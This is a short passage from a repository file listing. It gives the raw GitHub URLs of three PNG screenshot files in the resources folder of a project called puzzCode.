https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/snap2017-12-228.47.53.png -------------------------------------------------------------------------------- /resources/snap2017-12-228.49.07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/snap2017-12-228.49.07.png -------------------------------------------------------------------------------- /resources/snap2017-12-228.49.36.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/puzzCode/f360234f3ed3aaca1c1f6e5eaa49f591c2b8b9d5/resources/snap2017-12-228.49.36.png --------------------------------------------------------------------------------